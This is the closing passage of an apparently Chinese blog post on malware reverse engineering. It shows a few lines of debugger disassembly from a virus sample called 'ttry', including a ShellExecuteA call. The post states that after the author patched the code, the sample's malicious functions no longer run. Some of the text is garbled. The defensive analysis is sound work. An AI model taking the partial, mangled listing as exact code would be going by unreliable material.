0044F2DA???.??6A?00?????????push?0x0?????????????????????????????????;?|Operation?=?NULL
0044F2DC???.??6A?00?????????push?0x0?????????????????????????????????;?|hWnd?=?NULL
0044F2DE???.??E8?6555FDFF???call?????????;?\ShellExecuteA
0044F2E3???.??E8?C04BFBFF???call?ttry.00403EA8
0044F2E8???.??A1?D00F4500???mov?eax,dword?ptr?ds:[0x450FD0]
0044F2ED???.??8B00??????????mov?eax,dword?ptr?ds:[eax]???????????????;??ttry.004026E7
0044F2EF???.??E8?28DCFFFF???call?ttry.0044CF1C
破解完功能后,再啟動病毒樣本功能已都失效了

更多安全相關(guān)的技術(shù)文章,請關(guān)注 “游戲安全攻防” 公眾號,一起交流,一起進步。
恭喜看完了文章的全部內(nèi)容,覺得文章對你有用點個贊,并分享給有需要的人。
評論
圖片
表情
